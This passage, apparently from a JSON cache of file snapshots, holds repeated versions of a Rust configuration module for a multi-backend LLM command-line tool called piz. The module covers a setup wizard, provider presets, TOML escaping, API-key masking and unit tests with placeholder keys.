Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"')\n && value_part.ends_with('\"')\n && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "49e04fb5db945d980a526b2aae95f5c9a4e13946": {"t": 1785760772.113683, "n": 17191, "h": "a8e785cd658f3ee6", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"') && value_part.ends_with('\"') && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::<Vec<_>>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result<Config> {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "c661ec4773768ff1a23509412a76e97473ed6275": {"t": 1785760774.7175105, "n": 15437, "h": "8126124ebe211c53", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option<OpenAiConfig>,\n pub claude: Option<ClaudeConfig>,\n pub gemini: Option<GeminiConfig>,\n pub ollama: Option<OllamaConfig>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option<String>,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result<PathBuf> {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result<PathBuf> {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result<Config> {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result<String> {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n 